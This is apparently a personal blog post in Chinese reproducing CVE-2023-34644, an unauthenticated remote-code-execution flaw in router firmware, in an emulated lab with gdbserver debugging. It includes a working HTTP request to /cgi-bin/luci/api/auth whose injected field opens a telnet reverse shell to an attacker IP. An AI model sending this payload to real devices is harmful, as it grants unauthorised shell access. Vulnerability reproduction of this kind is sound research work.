./etc/init.d/unifyframe-sgi start

守护进程收到一个 segment fault

main->reserve_core()函数

但是目录下却没有,创建后运行

1
mkdir /tmp/coredump

发现缺少文件,这里 rg_device.json 大概率从前某个前置操作复制而来,搜索同名文件,有很多,而 ufm_init() 函数会从该文件中提取 dev_type 字段,发现除了 /sbin/hw/default/rg_device.json中都有此字段 ,随便复制一个

然后启动

ps中也有

然后下载一个 gdbserver 传进去 https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F/gdbserver

1
scp -r ./gdbserver-7.7.1-mipsel-mips32-v1 root@192.168.221.200:/root/squashfs-root

然后 qemu 内让 gdbserver 附加到 unifyframe.elf 的进程中

1
./gdbserver-7.7.1-mipsel-mips32-v1 0.0.0.0:1234 --attach 1745

然后宿主机内用 gdb 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
# simple_debug.sh

while true; do
echo "启动GDB调试会话..."
echo "----------------------------------------"

gdb-multiarch -q ./usr/sbin/unifyframe-sgi.elf \
-ex "set architecture mips" \
-ex "set endian little" \
-ex "set follow-fork-mode parent" \
-ex "target remote 192.168.157.141:1234" \

echo "GDB崩溃或断开,5秒后重新连接..."
sleep 5
done

然后在 uf_socket_msg_read 下断点,此时浏览器访问,bp就能抓到

改包后放行即可开始调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /cgi-bin/luci/api/auth HTTP/1.1
Host: 192.168.221.200
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Upgrade-Insecure-Requests: 1

{
"method": "merge",
"params": {
"sorry": "'$(mkfifo /tmp/test;telnet 192.168.221.137 6666 0</tmp/test|/bin/sh > /tmp/test)'"
}
}

学习文章

站在巨人肩膀上复现CVE-2023-34644 | ZIKH26’s Blog

[原创] 记一次全设备通杀未授权RCE的挖掘经历-智能设备-看雪论坛-安全社区|非营利性质技术交流社区

CVE-2023-34644复现 | S1nec-1o’s B1og

草稿

1
2
3
4
5
6
7
8
9
10
11
start() {
difference=$(diff -q /etc/lighttpd/lighttpd.conf /rom/etc/lighttpd/lighttpd.conf)
[ -n "$difference" ] && {
cp -rf /rom/etc/lighttpd/lighttpd.conf /etc/lighttpd/lighttpd.conf
}
[ -d /var/log/lighttpd ] || mkdir -p /var/log/lighttpd
chmod 0777 /var/log/lighttpd
rm -rf /tmp/cli_lighttpd_unifyframe_sgi.sock*
service_start /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
}


CVE-2023-34644复现
http://yyyffff.github.io/2025/12/20/CVE-2023-34644复现/
作者
yyyffff
发布于
2025年12月20日
许可协议